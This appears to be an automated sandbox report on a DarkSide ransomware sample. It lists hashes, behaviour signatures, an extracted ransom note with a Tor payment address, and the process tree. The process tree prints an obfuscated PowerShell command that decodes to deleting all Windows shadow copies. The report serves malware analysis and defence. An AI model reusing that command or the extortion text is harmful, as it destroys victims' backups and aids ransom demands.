Analysis

  • max time kernel
    118s
  • max time network
    118s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    31-01-2022 05:58

General

  • Target

    f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe

  • Size

    59KB

  • MD5

    66ddb290df3d510a6001365c3a694de2

  • SHA1

    77b9103d4af311ba76511144d47aed440ae6ce9f

  • SHA256

    f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39

  • SHA512

    bd1ecb3ce3e49c495f354a27fd17089b2bc77e3a96b15f28be4c877d2e49dfa1c193a3370a84ec4060f1c2517b2338e2b11cae680e67e9fb5e59367efb67a7ee

Malware Config

Extracted

Path

C:\\README.5bede5a3.TXT

Family

darkside

Ransom Note
----------- [ Welcome to DarkSide ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/45FYQLKAX0QTR144EDUI3VOVH2B3SQ0TZM0G7MXX3YUGDSA3AZA9XNNTCMD1H4CN When you open our website, put the following data in the input form: Key: xvyTt4ryk3SW3crViPXteEJnLnFicgyfhqHooEhHgUfmBIK9Oy54La2kEaOvjmjPZ7vaYvIrKqIcIYMAhyKGTkvHHsncDIgHjbeoadd3Iv6aRddgRjqqKqvJAnD7C7fJ21U6XC42CDos0WexdVO0oqoLSzUw2zOuEAAQuGero3ld3Ou4f2V4uG7aJgQwfkVSLctwB94NMh3hHg14MqykiRPV3PwzvEK1suJ1cR2Yc24R8uWSoQgCVPaVmBkBvlewVFhbyOKBDrfxeD6P5v2qrc1tJCedpnSX9r6TD2FTUK2wmAMnevHpOENKc0rBTEpB0zpizTOaAnzpJIBUlpSbuoOwGqaudNn1yuJ5IQ26hMl9vCpBh0uM360vXXhzrbMs2TXRemMmKwIMfvrhGhLo3l0nSyc3zaiUZWZtKH5SG3KSlSGbrWbYClHOHx1GKsUK0H5fAHsCJWQdwaiV604lORzzkiYYW2xyvssWBl8mVjF7A9YkQyWi0cY6fYHiNDdzUMMdFiEQJ8RJqgXmV6ELv17byLWKFWL6KdkcCAoDpdZeOxoxyHYxNC5 !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!
URLs

http://darksidfqzcuhtk2.onion/45FYQLKAX0QTR144EDUI3VOVH2B3SQ0TZM0G7MXX3YUGDSA3AZA9XNNTCMD1H4CN

Signatures

  • DarkSide

    Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.

  • Modifies extensions of user files 19 IoCs

    Ransomware generally changes the extension on encrypted files.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Sets desktop wallpaper using registry 2 TTPs 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Modifies Control Panel 1 IoCs
  • Modifies registry class 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 24 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe
    "C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe"
    1⤵
    • Modifies extensions of user files
    • Sets desktop wallpaper using registry
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1516
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:968
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:1996

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

    MD5

    c9c7104a2b8844c15089b197424dbefb

    SHA1

    d900815a72d2abe1655807aa05529012a57cee42

    SHA256

    f1b91092f8d3b761b23bee1ad6391b0e754269516bb778ade3b63b6965f28004

    SHA512

    3a2e173b096a076bbfddd0450d6f76351f8b247c60fadaefe2ea094465e247fc11d40aa8b736ebc98bc969b7bec9a4a588f4605d185898dc005525ad3520b642

  • memory/968-55-0x000007FEFB611000-0x000007FEFB613000-memory.dmp

    Filesize

    8KB

  • memory/968-57-0x0000000002850000-0x0000000002852000-memory.dmp

    Filesize

    8KB

  • memory/968-58-0x0000000002852000-0x0000000002854000-memory.dmp

    Filesize

    8KB

  • memory/968-59-0x0000000002854000-0x0000000002857000-memory.dmp

    Filesize

    12KB

  • memory/968-56-0x000007FEF26E0000-0x000007FEF323D000-memory.dmp

    Filesize

    11.4MB

  • memory/968-60-0x000000000285B000-0x000000000287A000-memory.dmp

    Filesize

    124KB

  • memory/1516-54-0x0000000075471000-0x0000000075473000-memory.dmp

    Filesize

    8KB